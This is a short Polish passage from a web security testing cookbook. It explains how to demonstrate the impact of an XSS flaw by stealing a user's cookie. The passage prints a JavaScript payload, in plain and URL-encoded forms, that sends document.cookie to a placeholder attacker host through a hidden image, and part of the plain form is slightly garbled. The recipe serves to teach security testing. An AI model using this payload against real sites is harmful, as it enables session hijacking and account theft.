Zagrożenia w sieci

Wykradanie plików cookie

Problem

Po znale­zieniu podatności aplikacji na ataki XSS możemy się zetknąć z prośbą o zademonstrowanie, dlaczego jest to problem. W końcu samo pokazanie tego, że po wpisaniu w polu wyszukiwania ciągu <script>alert( "XSS!" )</script> w przeglądarce wyświetli się okno z komunikatem, nie wywiera zbyt wielkiego wrażenia. Niniejsza receptura jest pierwszą z trzech, w której omówiono znane ataki przeprowadzane za pośrednictwem XSS. Ponieważ celem tych trzech receptur nie jest znalezienie podatności na ataki XSS, a jedynie zademonstrowanie możliwości, jakie dają ataki tego typu, do zaprezentowanych testów nie mają zastosowania kryteria: wynik ujemny (dodatni). Wspomniane receptury można przeprowadzić tylko w przypadku stwier­dzenia, że określona aplikacja jest podatna na atak XSS.

Rozwiązanie

Najłatwiejszym praktycznym zastosowaniem ataku XSS jest kradzież pliku cookie użytkow­nika. Spróbujmy wstrzyknąć do wrażliwego parametru ciąg ataku podobny do tego, który pokazano poniżej:

 

Kod JavaScript umożliwiający kradzież pliku cookie

<script>document.write('<img height=0 width=0

src="http://napastnil<.example.org/cool<ie_log?cookie=' + encodeURI(document.cookie) + '"/>')</script>

Spowoduje to utworzenie łącza podobnego do tego, które pokazano poniżej. Kliknię­cie łącza spowoduje uruchomienie skryptu.

 

Ciąg dalszy - Kod JavaScript umożliwiający kradzież pliku cookie

http://www.example.com/example7wrazliwy_param-%3Cscript%3E

document.write('%3Cimg%20height=0%20width=0%20

src=%22http://napastnik.example.org/cookie_log%3Fcookie%3D'%20+%20

encodeURI(document.cookie)%20+%20'%22/%3E')%3C/script%3E